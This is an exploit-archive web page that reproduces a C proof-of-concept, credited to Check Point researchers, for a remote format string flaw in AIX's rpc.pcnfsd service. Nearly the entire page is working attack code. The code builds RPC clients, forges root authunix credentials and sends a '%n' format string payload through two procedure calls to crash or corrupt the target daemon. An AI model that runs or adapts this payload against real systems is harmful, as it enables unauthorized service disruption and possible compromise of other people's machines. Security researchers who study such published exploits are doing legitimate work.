<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>rpc.pcnfsd Remote Format String Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================
rpc.pcnfsd Remote Format String Exploit
=======================================

/*************************************************************************
* Check Point Software Technologies – Vulnerability Discovery Team (VDT) *
* Rodrigo Rubira Branco – &lt;rbranco *noSPAM* checkpoint.com&gt; *
* *
* rpc.pcnfsd syslog format string vulnerability *
*************************************************************************/

#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;rpc/rpc.h&gt;

#define PCNFSD_PROG 150001
#define PCNFSD_VERS 1
#define PCNFSD_PR_INIT 2
#define PCNFSD_PR_START 3

struct cm_send {
char *s1;
char *s2;
};

struct cm_send2 {
char *s1;
char *s2;
};

struct cm_reply {
int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &amp;objp-&gt;s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &amp;objp-&gt;s2))
return (FALSE);

return (TRUE);
}

bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &amp;objp-&gt;s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &amp;objp-&gt;s2))
return (FALSE);

return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &amp;objp-&gt;i))
return (FALSE);
return (TRUE);
}

int
main(int argc, char *argv[])
{
long ret, offset;
int len, x, y, i;
char *hostname, *b;

CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;

printf(&quot;-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-n&quot;);
printf(&quot;-= Check Point Software Technologies – Vulnerability Discovery Team (VDT) =-n&quot;);
printf(&quot;-= Rodrigo Rubira Branco &lt;rbranco *noSPAM* checkpoint.com&gt; =-nn&quot;);

if(argc &lt; 2) {
printf(&quot;Usage: %s [hostname]n&quot;, argv[0]);
exit(1);
}

hostname = argv[1];

send.s1 = &quot;AAAA%n%n%n%n%n%n%n%n%n&quot;; // Create the dir on /var/spool/pcnfs
send.s2 = &quot;&quot;;
send2.s1 = &quot;AAAA%n%n%n%n%n%n%n%n%n&quot;;// Call the dir to trigger fmt bug
send2.s2 = &quot;&quot;;

printf(&quot;nSending PCNFSD_PR_INIT to the server … &quot;);

if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,&quot;udp&quot;))){
clnt_pcreateerror(&quot;nerror&quot;);exit(-1);
}
stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &amp;send,
xdr_cm_reply, (caddr_t) &amp;reply, tm);

clnt_destroy(cl);

printf(&quot;done!n&quot;);

printf(&quot;Sending PCNFSD_PR_START procedure … &quot;);

if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,&quot;udp&quot;))){
clnt_pcreateerror(&quot;nerror&quot;);exit(-1);
}

cl-&gt;cl_auth = authunix_create(&quot;localhost&quot;, 0, 0, 0, NULL);
stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &amp;send2,
xdr_cm_reply, (caddr_t) &amp;reply, tm);

printf(&quot;done!n&quot;);
clnt_destroy(cl);

}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-18]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13393